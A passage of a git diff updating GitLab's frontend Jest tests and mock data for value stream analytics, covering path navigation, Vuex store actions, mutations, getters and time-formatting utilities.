+let wrapper;
+
+function createStore({ initialState = {} }) {
+ return new Vuex.Store({
+ state: {
+ ...initState(),
+ permissions: {
+ [selectedStage.id]: true,
+ },
+ ...initialState,
+ },
+ getters: {
+ pathNavigationData: () => [],
+ },
+ });
+}
+
+function createComponent({ initialState } = {}) {
+ return extendedWrapper(
+ shallowMount(BaseComponent, {
+ store: createStore({ initialState }),
+ propsData: {
+ noDataSvgPath,
+ noAccessSvgPath,
+ },
+ }),
+ );
+}
+
+const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+const findPathNavigation = () => wrapper.findComponent(PathNavigation);
+const findOverviewMetrics = () => wrapper.findByTestId('vsa-stage-overview-metrics');
+const findStageTable = () => wrapper.findByTestId('vsa-stage-table');
+const findEmptyStage = () => wrapper.findComponent(GlEmptyState);
+const findStageEvents = () => wrapper.findByTestId('stage-table-events');
+
+describe('Value stream analytics component', () => {
+ beforeEach(() => {
+ wrapper = createComponent({
+ initialState: {
+ isLoading: false,
+ isLoadingStage: false,
+ isEmptyStage: false,
+ selectedStageEvents,
+ selectedStage,
+ selectedStageError: '',
+ },
+ });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('renders the path navigation component', () => {
+ expect(findPathNavigation().exists()).toBe(true);
+ });
+
+ it('renders the overview metrics', () => {
+ expect(findOverviewMetrics().exists()).toBe(true);
+ });
+
+ it('renders the stage table', () => {
+ expect(findStageTable().exists()).toBe(true);
+ });
+
+ it('renders the stage table events', () => {
+ expect(findEmptyStage().exists()).toBe(false);
+ expect(findStageEvents().exists()).toBe(true);
+ });
+
+ it('does not render the loading icon', () => {
+ expect(findLoadingIcon().exists()).toBe(false);
+ });
+
+ describe('isLoading = true', () => {
+ beforeEach(() => {
+ wrapper = createComponent({
+ initialState: { isLoading: true },
+ });
+ });
+
+ it('renders the path navigation component with prop `loading` set to true', () => {
+ expect(findPathNavigation().html()).toMatchSnapshot();
+ });
+
+ it('does not render the overview metrics', () => {
+ expect(findOverviewMetrics().exists()).toBe(false);
+ });
+
+ it('does not render the stage table', () => {
+ expect(findStageTable().exists()).toBe(false);
+ });
+
+ it('renders the loading icon', () => {
+ expect(findLoadingIcon().exists()).toBe(true);
+ });
+ });
+
+ describe('isLoadingStage = true', () => {
+ beforeEach(() => {
+ wrapper = createComponent({
+ initialState: { isLoadingStage: true },
+ });
+ });
+
+ it('renders the stage table with a loading icon', () => {
+ const tableWrapper = findStageTable();
+ expect(tableWrapper.exists()).toBe(true);
+ expect(tableWrapper.find(GlLoadingIcon).exists()).toBe(true);
+ });
+ });
+
+ describe('isEmptyStage = true', () => {
+ beforeEach(() => {
+ wrapper = createComponent({
+ initialState: { selectedStage, isEmptyStage: true },
+ });
+ });
+
+ it('renders the empty stage with `Not enough data` message', () => {
+ expect(findEmptyStage().html()).toMatchSnapshot();
+ });
+
+ describe('with a selectedStageError', () => {
+ beforeEach(() => {
+ wrapper = createComponent({
+ initialState: {
+ selectedStage,
+ isEmptyStage: true,
+ selectedStageError: 'There is too much data to calculate',
+ },
+ });
+ });
+
+ it('renders the empty stage with `There is too much data to calculate` message', () => {
+ expect(findEmptyStage().html()).toMatchSnapshot();
+ });
+ });
+ });
+
+ describe('without enough permissions', () => {
+ beforeEach(() => {
+ wrapper = createComponent({
+ initialState: {
+ permissions: {
+ [selectedStage.id]: false,
+ },
+ },
+ });
+ });
+
+ it('renders the empty stage with `You need permission` message', () => {
+ expect(findEmptyStage().html()).toMatchSnapshot();
+ });
+ });
+
+ describe('without a selected stage', () => {
+ beforeEach(() => {
+ wrapper = createComponent({
+ initialState: { selectedStage: null, isEmptyStage: true },
+ });
+ });
+
+ it('renders the stage table', () => {
+ expect(findStageTable().exists()).toBe(true);
+ });
+
+ it('does not render the path navigation component', () => {
+ expect(findPathNavigation().exists()).toBe(false);
+ });
+
+ it('does not render the stage table events', () => {
+ expect(findStageEvents().exists()).toBe(false);
+ });
+
+ it('does not render the loading icon', () => {
+ expect(findLoadingIcon().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/cycle_analytics/mock_data.js b/spec/frontend/cycle_analytics/mock_data.js
index 091b574821d..242ea1932fb 100644
--- a/spec/frontend/cycle_analytics/mock_data.js
+++ b/spec/frontend/cycle_analytics/mock_data.js
@@ -1,5 +1,11 @@
+import { DEFAULT_VALUE_STREAM } from '~/cycle_analytics/constants';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+export const getStageByTitle = (stages, title) =>
+ stages.find((stage) => stage.title && stage.title.toLowerCase().trim() === title) || {};
+
+export const defaultStages = ['issue', 'plan', 'review', 'code', 'test', 'staging'];
+
export const summary = [
{ value: '20', title: 'New Issues' },
{ value: null, title: 'Commits' },
@@ -8,6 +14,7 @@ export const summary = [
];
const issueStage = {
+ id: 'issue',
title: 'Issue',
name: 'issue',
legend: '',
@@ -16,30 +23,34 @@ const issueStage = {
};
const planStage = {
+ id: 'plan',
title: 'Plan',
name: 'plan',
legend: '',
description: 'Time before an issue starts implementation',
- value: 'about 21 hours',
+ value: 75600,
};
const codeStage = {
+ id: 'code',
title: 'Code',
name: 'code',
legend: '',
description: 'Time until first merge request',
- value: '2 days',
+ value: 172800,
};
const testStage = {
+ id: 'test',
title: 'Test',
name: 'test',
legend: '',
description: 'Total test time for all commits/merges',
- value: 'about 5 hours',
+ value: 17550,
};
const reviewStage = {
+ id: 'review',
title: 'Review',
name: 'review',
legend: '',
@@ -48,11 +59,12 @@ const reviewStage = {
};
const stagingStage = {
+ id: 'staging',
title: 'Staging',
name: 'staging',
legend: '',
description: 'From merge request merge until deploy to production',
- value: '2 days',
+ value: 172800,
};
export const selectedStage = {
@@ -84,54 +96,6 @@ export const rawData = {
};
export const convertedData = {
- stages: [
- selectedStage,
- {
- ...planStage,
- active: false,
- isUserAllowed: true,
- emptyStageText:
- 'The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit.',
- component: 'stage-plan-component',
- slug: 'plan',
- },
- {
- ...codeStage,
- active: false,
- isUserAllowed: true,
- emptyStageText:
- 'The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request.',
- component: 'stage-code-component',
- slug: 'code',
- },
- {
- ...testStage,
- active: false,
- isUserAllowed: true,
- emptyStageText:
- 'The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running.',
- component: 'stage-test-component',
- slug: 'test',
- },
- {
- ...reviewStage,
- active: false,
- isUserAllowed: true,
- emptyStageText:
- 'The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request.',
- component: 'stage-review-component',
- slug: 'review',
- },
- {
- ...stagingStage,
- active: false,
- isUserAllowed: true,
- emptyStageText:
- 'The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time.',
- component: 'stage-staging-component',
- slug: 'staging',
- },
- ],
summary: [
{ value: '20', title: 'New Issues' },
{ value: '-', title: 'Commits' },
@@ -184,3 +148,110 @@ export const rawEvents = [
export const convertedEvents = rawEvents.map((ev) =>
convertObjectPropsToCamelCase(ev, { deep: true }),
);
+
+export const pathNavIssueMetric = 172800;
+
+export const rawStageMedians = [
+ { id: 'issue', value: 172800 },
+ { id: 'plan', value: 86400 },
+ { id: 'review', value: 1036800 },
+ { id: 'code', value: 129600 },
+ { id: 'test', value: 259200 },
+ { id: 'staging', value: 388800 },
+];
+
+export const stageMedians = {
+ issue: 172800,
+ plan: 86400,
+ review: 1036800,
+ code: 129600,
+ test: 259200,
+ staging: 388800,
+};
+
+export const allowedStages = [issueStage, planStage, codeStage];
+
+export const transformedProjectStagePathData = [
+ {
+ metric: 172800,
+ selected: true,
+ stageCount: undefined,
+ icon: null,
+ id: 'issue',
+ title: 'Issue',
+ name: 'issue',
+ legend: '',
+ description: 'Time before an issue gets scheduled',
+ value: null,
+ },
+ {
+ metric: 86400,
+ selected: false,
+ stageCount: undefined,
+ icon: null,
+ id: 'plan',
+ title: 'Plan',
+ name: 'plan',
+ legend: '',
+ description: 'Time before an issue starts implementation',
+ value: 75600,
+ },
+ {
+ metric: 129600,
+ selected: false,
+ stageCount: undefined,
+ icon: null,
+ id: 'code',
+ title: 'Code',
+ name: 'code',
+ legend: '',
+ description: 'Time until first merge request',
+ value: 172800,
+ },
+];
+
+export const selectedValueStream = DEFAULT_VALUE_STREAM;
+
+export const rawValueStreamStages = [
+ {
+ title: 'Issue',
+ hidden: false,
+ legend: '',
+ description: 'Time before an issue gets scheduled',
+ id: 'issue',
+ custom: false,
+ start_event_html_description:
+ '\u003cp data-sourcepos="1:1-1:13" dir="auto"\u003eIssue created\u003c/p\u003e',
+ end_event_html_description:
+ '\u003cp data-sourcepos="1:1-1:71" dir="auto"\u003eIssue first associated with a milestone or issue first added to a board\u003c/p\u003e',
+ },
+ {
+ title: 'Plan',
+ hidden: false,
+ legend: '',
+ description: 'Time before an issue starts implementation',
+ id: 'plan',
+ custom: false,
+ start_event_html_description:
+ '\u003cp data-sourcepos="1:1-1:71" dir="auto"\u003eIssue first associated with a milestone or issue first added to a board\u003c/p\u003e',
+ end_event_html_description:
+ '\u003cp data-sourcepos="1:1-1:33" dir="auto"\u003eIssue first mentioned in a commit\u003c/p\u003e',
+ },
+ {
+ title: 'Code',
+ hidden: false,
+ legend: '',
+ description: 'Time until first merge request',
+ id: 'code',
+ custom: false,
+ start_event_html_description:
+ '\u003cp data-sourcepos="1:1-1:33" dir="auto"\u003eIssue first mentioned in a commit\u003c/p\u003e',
+ end_event_html_description:
+ '\u003cp data-sourcepos="1:1-1:21" dir="auto"\u003eMerge request created\u003c/p\u003e',
+ },
+];
+
+export const valueStreamStages = rawValueStreamStages.map((s) => ({
+ ...convertObjectPropsToCamelCase(s, { deep: true }),
+ component: `stage-${s.id}-component`,
+}));
diff --git a/spec/frontend/cycle_analytics/path_navigation_spec.js b/spec/frontend/cycle_analytics/path_navigation_spec.js
new file mode 100644
index 00000000000..c6d72d3b571
--- /dev/null
+++ b/spec/frontend/cycle_analytics/path_navigation_spec.js
@@ -0,0 +1,148 @@
+import { GlPath, GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import { mockTracking, unmockTracking } from 'helpers/tracking_helper';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import Component from '~/cycle_analytics/components/path_navigation.vue';
+import { transformedProjectStagePathData, selectedStage } from './mock_data';
+
+describe('Project PathNavigation', () => {
+ let wrapper = null;
+ let trackingSpy = null;
+
+ const createComponent = (props) => {
+ return extendedWrapper(
+ mount(Component, {
+ propsData: {
+ stages: transformedProjectStagePathData,
+ selectedStage,
+ loading: false,
+ ...props,
+ },
+ }),
+ );
+ };
+
+ const findPathNavigation = () => {
+ return wrapper.findByTestId('gl-path-nav');
+ };
+
+ const findPathNavigationItems = () => {
+ return findPathNavigation().findAll('li');
+ };
+
+ const findPathNavigationTitles = () => {
+ return findPathNavigation()
+ .findAll('li button')
+ .wrappers.map((w) => w.html());
+ };
+
+ const clickItemAt = (index) => {
+ findPathNavigationItems().at(index).find('button').trigger('click');
+ };
+
+ const pathItemContent = () => findPathNavigationItems().wrappers.map(extendedWrapper);
+ const firstPopover = () => wrapper.findAllByTestId('stage-item-popover').at(0);
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
+ });
+
+ afterEach(() => {
+ unmockTracking();
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('displays correctly', () => {
+ it('has the correct props', () => {
+ expect(wrapper.find(GlPath).props('items')).toMatchObject(transformedProjectStagePathData);
+ });
+
+ it('contains all the expected stages', () => {
+ const stageContent = findPathNavigationTitles();
+ transformedProjectStagePathData.forEach((stage, index) => {
+ expect(stageContent[index]).toContain(stage.title);
+ });
+ });
+
+ describe('loading', () => {
+ describe('is false', () => {
+ it('displays the gl-path component', () => {
+ expect(wrapper.find(GlPath).exists()).toBe(true);
+ });
+
+ it('hides the gl-skeleton-loading component', () => {
+ expect(wrapper.find(GlSkeletonLoading).exists()).toBe(false);
+ });
+
+ it('renders each stage', () => {
+ const result = findPathNavigationTitles();
+ expect(result.length).toBe(transformedProjectStagePathData.length);
+ });
+
+ it('renders each stage with its median', () => {
+ const result = findPathNavigationTitles();
+ transformedProjectStagePathData.forEach(({ title, metric }, index) => {
+ expect(result[index]).toContain(title);
+ expect(result[index]).toContain(metric);
+ });
+ });
+
+ describe('popovers', () => {
+ beforeEach(() => {
+ wrapper = createComponent({ stages: transformedProjectStagePathData });
+ });
+
+ it('renders popovers for all stages', () => {
+ pathItemContent().forEach((stage) => {
+ expect(stage.findByTestId('stage-item-popover').exists()).toBe(true);
+ });
+ });
+
+ it('shows the median stage time for the first stage item', () => {
+ expect(firstPopover().text()).toContain('Stage time (median)');
+ });
+ });
+ });
+
+ describe('is true', () => {
+ beforeEach(() => {
+ wrapper = createComponent({ loading: true });
+ });
+
+ it('hides the gl-path component', () => {
+ expect(wrapper.find(GlPath).exists()).toBe(false);
+ });
+
+ it('displays the gl-skeleton-loading component', () => {
+ expect(wrapper.find(GlSkeletonLoading).exists()).toBe(true);
+ });
+ });
+ });
+ });
+
+ describe('event handling', () => {
+ it('emits the selected event', () => {
+ expect(wrapper.emitted('selected')).toBeUndefined();
+
+ clickItemAt(0);
+ clickItemAt(1);
+ clickItemAt(2);
+
+ expect(wrapper.emitted().selected).toEqual([
+ [transformedProjectStagePathData[0]],
+ [transformedProjectStagePathData[1]],
+ [transformedProjectStagePathData[2]],
+ ]);
+ });
+
+ it('sends tracking information', () => {
+ clickItemAt(0);
+
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, 'click_path_navigation', {
+ extra: { stage_id: selectedStage.slug },
+ });
+ });
+ });
+});
diff --git a/spec/frontend/cycle_analytics/store/actions_spec.js b/spec/frontend/cycle_analytics/store/actions_spec.js
index 630c5100754..4f37e1266fb 100644
--- a/spec/frontend/cycle_analytics/store/actions_spec.js
+++ b/spec/frontend/cycle_analytics/store/actions_spec.js
@@ -3,10 +3,27 @@ import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
import * as actions from '~/cycle_analytics/store/actions';
import httpStatusCodes from '~/lib/utils/http_status';
-import { selectedStage } from '../mock_data';
+import { selectedStage, selectedValueStream } from '../mock_data';
const mockRequestPath = 'some/cool/path';
+const mockFullPath = '/namespace/-/analytics/value_stream_analytics/value_streams';
const mockStartDate = 30;
+const mockRequestedDataActions = ['fetchValueStreams', 'fetchCycleAnalyticsData'];
+const mockInitializeActionCommit = {
+ payload: { requestPath: mockRequestPath },
+ type: 'INITIALIZE_VSA',
+};
+const mockSetDateActionCommit = { payload: { startDate: mockStartDate }, type: 'SET_DATE_RANGE' };
+const mockRequestedDataMutations = [
+ {
+ payload: true,
+ type: 'SET_LOADING',
+ },
+ {
+ payload: false,
+ type: 'SET_LOADING',
+ },
+];
describe('Project Value Stream Analytics actions', () => {
let state;
@@ -22,27 +39,26 @@ describe('Project Value Stream Analytics actions', () => {
state = {};
});
- it.each`
- action | type | payload | expectedActions
- ${'initializeVsa'} | ${'INITIALIZE_VSA'} | ${{ requestPath: mockRequestPath }} | ${['fetchCycleAnalyticsData']}
- ${'setDateRange'} | ${'SET_DATE_RANGE'} | ${{ startDate: 30 }} | ${[]}
- ${'setSelectedStage'} | ${'SET_SELECTED_STAGE'} | ${{ selectedStage }} | ${[]}
- `(
- '$action should dispatch $expectedActions and commit $type',
- ({ action, type, payload, expectedActions }) =>
+ const mutationTypes = (arr) => arr.map(({ type }) => type);
+
+ describe.each`
+ action | payload | expectedActions | expectedMutations
+ ${'initializeVsa'} | ${{ requestPath: mockRequestPath }} | ${mockRequestedDataActions} | ${[mockInitializeActionCommit, ...mockRequestedDataMutations]}
+ ${'setDateRange'} | ${{ startDate: mockStartDate }} | ${mockRequestedDataActions} | ${[mockSetDateActionCommit, ...mockRequestedDataMutations]}
+ ${'setSelectedStage'} | ${{ selectedStage }} | ${['fetchStageData']} | ${[{ type: 'SET_SELECTED_STAGE', payload: { selectedStage } }]}
+ ${'setSelectedValueStream'} | ${{ selectedValueStream }} | ${['fetchValueStreamStages']} | ${[{ type: 'SET_SELECTED_VALUE_STREAM', payload: { selectedValueStream } }]}
+ `('$action', ({ action, payload, expectedActions, expectedMutations }) => {
+ const types = mutationTypes(expectedMutations);
+
+ it(`will dispatch ${expectedActions} and commit ${types}`, () =>
testAction({
action: actions[action],
state,
payload,
- expectedMutations: [
- {
- type,
- payload,
- },
- ],
+ expectedMutations,
expectedActions: expectedActions.map((a) => ({ type: a })),
- }),
- );
+ }));
+ });
describe('fetchCycleAnalyticsData', () => {
beforeEach(() => {
@@ -60,7 +76,7 @@ describe('Project Value Stream Analytics actions', () => {
{ type: 'REQUEST_CYCLE_ANALYTICS_DATA' },
{ type: 'RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS' },
],
- expectedActions: [{ type: 'setSelectedStage' }, { type: 'fetchStageData' }],
+ expectedActions: [],
}));
describe('with a failing request', () => {
@@ -85,7 +101,7 @@ describe('Project Value Stream Analytics actions', () => {
});
describe('fetchStageData', () => {
- const mockStagePath = `${mockRequestPath}/events/${selectedStage.name}.json`;
+ const mockStagePath = `${mockRequestPath}/events/${selectedStage.name}`;
beforeEach(() => {
state = {
@@ -106,6 +122,32 @@ describe('Project Value Stream Analytics actions', () => {
expectedActions: [],
}));
+ describe('with a successful request, but an error in the payload', () => {
+ const tooMuchDataError = 'Too much data';
+
+ beforeEach(() => {
+ state = {
+ requestPath: mockRequestPath,
+ startDate: mockStartDate,
+ selectedStage,
+ };
+ mock = new MockAdapter(axios);
+ mock.onGet(mockStagePath).reply(httpStatusCodes.OK, { error: tooMuchDataError });
+ });
+
+ it(`commits the 'RECEIVE_STAGE_DATA_ERROR' mutation`, () =>
+ testAction({
+ action: actions.fetchStageData,
+ state,
+ payload: { error: tooMuchDataError },
+ expectedMutations: [
+ { type: 'REQUEST_STAGE_DATA' },
+ { type: 'RECEIVE_STAGE_DATA_ERROR', payload: tooMuchDataError },
+ ],
+ expectedActions: [],
+ }));
+ });
+
describe('with a failing request', () => {
beforeEach(() => {
state = {
@@ -127,4 +169,115 @@ describe('Project Value Stream Analytics actions', () => {
}));
});
});
+
+ describe('fetchValueStreams', () => {
+ const mockValueStreamPath = /\/analytics\/value_stream_analytics\/value_streams/;
+
+ beforeEach(() => {
+ state = {
+ fullPath: mockFullPath,
+ };
+ mock = new MockAdapter(axios);
+ mock.onGet(mockValueStreamPath).reply(httpStatusCodes.OK);
+ });
+
+ it(`commits the 'REQUEST_VALUE_STREAMS' mutation`, () =>
+ testAction({
+ action: actions.fetchValueStreams,
+ state,
+ payload: {},
+ expectedMutations: [{ type: 'REQUEST_VALUE_STREAMS' }],
+ expectedActions: [{ type: 'receiveValueStreamsSuccess' }, { type: 'setSelectedStage' }],
+ }));
+
+ describe('with a failing request', () => {
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ mock.onGet(mockValueStreamPath).reply(httpStatusCodes.BAD_REQUEST);
+ });
+
+ it(`commits the 'RECEIVE_VALUE_STREAMS_ERROR' mutation`, () =>
+ testAction({
+ action: actions.fetchValueStreams,
+ state,
+ payload: {},
+ expectedMutations: [
+ { type: 'REQUEST_VALUE_STREAMS' },
+ { type: 'RECEIVE_VALUE_STREAMS_ERROR', payload: httpStatusCodes.BAD_REQUEST },
+ ],
+ expectedActions: [],
+ }));
+ });
+ });
+
+ describe('receiveValueStreamsSuccess', () => {
+ const mockValueStream = {
+ id: 'mockDefault',
+ name: 'mock default',
+ };
+ const mockValueStreams = [mockValueStream, selectedValueStream];
+ it('with data, will set the first value stream', () => {
+ testAction({
+ action: actions.receiveValueStreamsSuccess,
+ state,
+ payload: mockValueStreams,
+ expectedMutations: [{ type: 'RECEIVE_VALUE_STREAMS_SUCCESS', payload: mockValueStreams }],
+ expectedActions: [{ type: 'setSelectedValueStream', payload: mockValueStream }],
+ });
+ });
+
+ it('without data, will set the default value stream', () => {
+ testAction({
+ action: actions.receiveValueStreamsSuccess,
+ state,
+ payload: [],
+ expectedMutations: [{ type: 'RECEIVE_VALUE_STREAMS_SUCCESS', payload: [] }],
+ expectedActions: [{ type: 'setSelectedValueStream', payload: selectedValueStream }],
+ });
+ });
+ });
+
+ describe('fetchValueStreamStages', () => {
+ const mockValueStreamPath = /\/analytics\/value_stream_analytics\/value_streams/;
+
+ beforeEach(() => {
+ state = {
+ fullPath: mockFullPath,
+ selectedValueStream,
+ };
+ mock = new MockAdapter(axios);
+ mock.onGet(mockValueStreamPath).reply(httpStatusCodes.OK);
+ });
+
+ it(`commits the 'REQUEST_VALUE_STREAM_STAGES' and 'RECEIVE_VALUE_STREAM_STAGES_SUCCESS' mutations`, () =>
+ testAction({
+ action: actions.fetchValueStreamStages,
+ state,
+ payload: {},
+ expectedMutations: [
+ { type: 'REQUEST_VALUE_STREAM_STAGES' },
+ { type: 'RECEIVE_VALUE_STREAM_STAGES_SUCCESS' },
+ ],
+ expectedActions: [],
+ }));
+
+ describe('with a failing request', () => {
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ mock.onGet(mockValueStreamPath).reply(httpStatusCodes.BAD_REQUEST);
+ });
+
+ it(`commits the 'RECEIVE_VALUE_STREAM_STAGES_ERROR' mutation`, () =>
+ testAction({
+ action: actions.fetchValueStreamStages,
+ state,
+ payload: {},
+ expectedMutations: [
+ { type: 'REQUEST_VALUE_STREAM_STAGES' },
+ { type: 'RECEIVE_VALUE_STREAM_STAGES_ERROR', payload: httpStatusCodes.BAD_REQUEST },
+ ],
+ expectedActions: [],
+ }));
+ });
+ });
});
diff --git a/spec/frontend/cycle_analytics/store/getters_spec.js b/spec/frontend/cycle_analytics/store/getters_spec.js
new file mode 100644
index 00000000000..5745e9d7902
--- /dev/null
+++ b/spec/frontend/cycle_analytics/store/getters_spec.js
@@ -0,0 +1,16 @@
+import * as getters from '~/cycle_analytics/store/getters';
+import {
+ allowedStages,
+ stageMedians,
+ transformedProjectStagePathData,
+ selectedStage,
+} from '../mock_data';
+
+describe('Value stream analytics getters', () => {
+ describe('pathNavigationData', () => {
+ it('returns the transformed data', () => {
+ const state = { stages: allowedStages, medians: stageMedians, selectedStage };
+ expect(getters.pathNavigationData(state)).toEqual(transformedProjectStagePathData);
+ });
+ });
+});
diff --git a/spec/frontend/cycle_analytics/store/mutations_spec.js b/spec/frontend/cycle_analytics/store/mutations_spec.js
index 08c70af6ef6..88e1a13f506 100644
--- a/spec/frontend/cycle_analytics/store/mutations_spec.js
+++ b/spec/frontend/cycle_analytics/store/mutations_spec.js
@@ -1,6 +1,15 @@
import * as types from '~/cycle_analytics/store/mutation_types';
import mutations from '~/cycle_analytics/store/mutations';
-import { selectedStage, rawEvents, convertedEvents, rawData, convertedData } from '../mock_data';
+import {
+ selectedStage,
+ rawEvents,
+ convertedEvents,
+ rawData,
+ convertedData,
+ selectedValueStream,
+ rawValueStreamStages,
+ valueStreamStages,
+} from '../mock_data';
let state;
const mockRequestPath = 'fake/request/path';
@@ -17,15 +26,15 @@ describe('Project Value Stream Analytics mutations', () => {
it.each`
mutation | stateKey | value
- ${types.SET_SELECTED_STAGE} | ${'isLoadingStage'} | ${false}
+ ${types.REQUEST_VALUE_STREAMS} | ${'valueStreams'} | ${[]}
+ ${types.RECEIVE_VALUE_STREAMS_ERROR} | ${'valueStreams'} | ${[]}
+ ${types.REQUEST_VALUE_STREAM_STAGES} | ${'stages'} | ${[]}
+ ${types.RECEIVE_VALUE_STREAM_STAGES_ERROR} | ${'stages'} | ${[]}
${types.REQUEST_CYCLE_ANALYTICS_DATA} | ${'isLoading'} | ${true}
- ${types.REQUEST_CYCLE_ANALYTICS_DATA} | ${'stages'} | ${[]}
${types.REQUEST_CYCLE_ANALYTICS_DATA} | ${'hasError'} | ${false}
- ${types.RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS} | ${'isLoading'} | ${false}
${types.RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS} | ${'hasError'} | ${false}
${types.RECEIVE_CYCLE_ANALYTICS_DATA_ERROR} | ${'isLoading'} | ${false}
${types.RECEIVE_CYCLE_ANALYTICS_DATA_ERROR} | ${'hasError'} | ${true}
- ${types.RECEIVE_CYCLE_ANALYTICS_DATA_ERROR} | ${'stages'} | ${[]}
${types.REQUEST_STAGE_DATA} | ${'isLoadingStage'} | ${true}
${types.REQUEST_STAGE_DATA} | ${'isEmptyStage'} | ${false}
${types.REQUEST_STAGE_DATA} | ${'hasError'} | ${false}
@@ -44,12 +53,15 @@ describe('Project Value Stream Analytics mutations', () => {
});
it.each`
- mutation | payload | stateKey | value
- ${types.INITIALIZE_VSA} | ${{ requestPath: mockRequestPath }} | ${'requestPath'} | ${mockRequestPath}
- ${types.SET_SELECTED_STAGE} | ${selectedStage} | ${'selectedStage'} | ${selectedStage}
- ${types.SET_DATE_RANGE} | ${{ startDate: mockStartData }} | ${'startDate'} | ${mockStartData}
- ${types.RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS} | ${rawData} | ${'stages'} | ${convertedData.stages}
- ${types.RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS} | ${rawData} | ${'summary'} | ${convertedData.summary}
+ mutation | payload | stateKey | value
+ ${types.INITIALIZE_VSA} | ${{ requestPath: mockRequestPath }} | ${'requestPath'} | ${mockRequestPath}
+ ${types.SET_DATE_RANGE} | ${{ startDate: mockStartData }} | ${'startDate'} | ${mockStartData}
+ ${types.SET_LOADING} | ${true} | ${'isLoading'} | ${true}
+ ${types.SET_LOADING} | ${false} | ${'isLoading'} | ${false}
+ ${types.SET_SELECTED_VALUE_STREAM} | ${selectedValueStream} | ${'selectedValueStream'} | ${selectedValueStream}
+ ${types.RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS} | ${rawData} | ${'summary'} | ${convertedData.summary}
+ ${types.RECEIVE_VALUE_STREAMS_SUCCESS} | ${[selectedValueStream]} | ${'valueStreams'} | ${[selectedValueStream]}
+ ${types.RECEIVE_VALUE_STREAM_STAGES_SUCCESS} | ${{ stages: rawValueStreamStages }} | ${'stages'} | ${valueStreamStages}
`(
'$mutation with $payload will set $stateKey to $value',
({ mutation, payload, stateKey, value }) => {
diff --git a/spec/frontend/cycle_analytics/utils_spec.js b/spec/frontend/cycle_analytics/utils_spec.js
index 73e26e1cdcc..15137bb0571 100644
--- a/spec/frontend/cycle_analytics/utils_spec.js
+++ b/spec/frontend/cycle_analytics/utils_spec.js
@@ -1,5 +1,22 @@
-import { decorateEvents, decorateData } from '~/cycle_analytics/utils';
-import { selectedStage, rawData, convertedData, rawEvents } from './mock_data';
+import {
+ decorateEvents,
+ decorateData,
+ transformStagesForPathNavigation,
+ timeSummaryForPathNavigation,
+ medianTimeToParsedSeconds,
+ formatMedianValues,
+ filterStagesByHiddenStatus,
+} from '~/cycle_analytics/utils';
+import {
+ selectedStage,
+ rawData,
+ convertedData,
+ rawEvents,
+ allowedStages,
+ stageMedians,
+ pathNavIssueMetric,
+ rawStageMedians,
+} from './mock_data';
describe('Value stream analytics utils', () => {
describe('decorateEvents', () => {
@@ -36,17 +53,6 @@ describe('Value stream analytics utils', () => {
expect(result.summary).toEqual(convertedData.summary);
});
- it('returns the stages data', () => {
- expect(result.stages).toEqual(convertedData.stages);
- });
-
- it('returns each of the default value stream stages', () => {
- const stages = result.stages.map(({ name }) => name);
- ['issue', 'plan', 'code', 'test', 'review', 'staging'].forEach((stageName) => {
- expect(stages).toContain(stageName);
- });
- });
-
it('returns `-` for summary data that has no value', () => {
const singleSummaryResult = decorateData({
stats: [],
@@ -55,23 +61,92 @@ describe('Value stream analytics utils', () => {
});
expect(singleSummaryResult.summary).toEqual([{ value: '-', title: 'Commits' }]);
});
+ });
+
+ describe('transformStagesForPathNavigation', () => {
+ const stages = allowedStages;
+ const response = transformStagesForPathNavigation({
+ stages,
+ medians: stageMedians,
+ selectedStage,
+ });
+
+ describe('transforms the data as expected', () => {
+ it('returns an array of stages', () => {
+ expect(Array.isArray(response)).toBe(true);
+ expect(response.length).toBe(stages.length);
+ });
+
+ it('selects the correct stage', () => {
+ const selected = response.filter((stage) => stage.selected === true)[0];
+
+ expect(selected.title).toBe(selectedStage.title);
+ });
+
+ it('includes the correct metric for the associated stage', () => {
+ const issue = response.filter((stage) => stage.name === 'issue')[0];
- it('returns additional fields for each stage', () => {
- const singleStageResult = decorateData({
- stats: [{ name: 'issue', value: null }],
- permissions: { issue: false },
+ expect(issue.metric).toBe(pathNavIssueMetric);
});
- const stage = singleStageResult.stages[0];
- const txt =
- 'The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage.';
-
- expect(stage).toMatchObject({
- active: false,
- isUserAllowed: false,
- emptyStageText: txt,
- slug: 'issue',
- component: 'stage-issue-component',
+ });
+ });
+
+ describe('timeSummaryForPathNavigation', () => {
+ it.each`
+ unit | value | result
+ ${'months'} | ${1.5} | ${'1.5M'}
+ ${'weeks'} | ${1.25} | ${'1.5w'}
+ ${'days'} | ${2} | ${'2d'}
+ ${'hours'} | ${10} | ${'10h'}
+ ${'minutes'} | ${20} | ${'20m'}
+ ${'seconds'} | ${10} | ${'<1m'}
+ ${'seconds'} | ${0} | ${'-'}
+ `('will format $value $unit to $result', ({ unit, value, result }) => {
+ expect(timeSummaryForPathNavigation({ [unit]: value })).toBe(result);
+ });
+ });
+
+ describe('medianTimeToParsedSeconds', () => {
+ it.each`
+ value | result
+ ${1036800} | ${'1w'}
+ ${259200} | ${'3d'}
